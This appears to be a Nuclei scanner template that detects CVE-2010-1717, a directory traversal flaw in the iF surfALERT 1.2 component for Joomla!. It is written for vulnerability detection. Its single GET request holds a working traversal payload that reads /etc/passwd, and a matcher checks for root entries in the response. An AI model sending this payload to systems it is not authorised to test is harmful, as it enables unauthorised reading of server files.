id: CVE-2010-1717

info:
  name: Joomla! Component iF surfALERT 1.2 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the iF surfALERT (com_if_surfalert) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest patch or upgrade to a newer version of the Joomla! Component iF surfALERT to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12291
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1717
    - http://www.vupen.com/english/advisories/2010/0924
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Live-Hack-CVE/CVE-2010-1717
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1717
    cwe-id: CWE-22
    epss-score: 0.22285
    epss-percentile: 0.97377
    cpe: cpe:2.3:a:if_surfalert_project:if_surfalert:1.2:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: if_surfalert_project
    product: if_surfalert
    framework: joomla\!
  tags: cve,cve2010,joomla,lfi,edb,if_surfalert_project,joomla\!,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_if_surfalert&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220678baa1a73f5eb0d36c8d06156bcda656f4495867a590bdf57a03b1cbb3df0ad0220799b3fd04f5576fcc1be038f07f14e2999b40bf690c9d73c971965fae96d1505:922c64590222798bb761d5b6d8e72950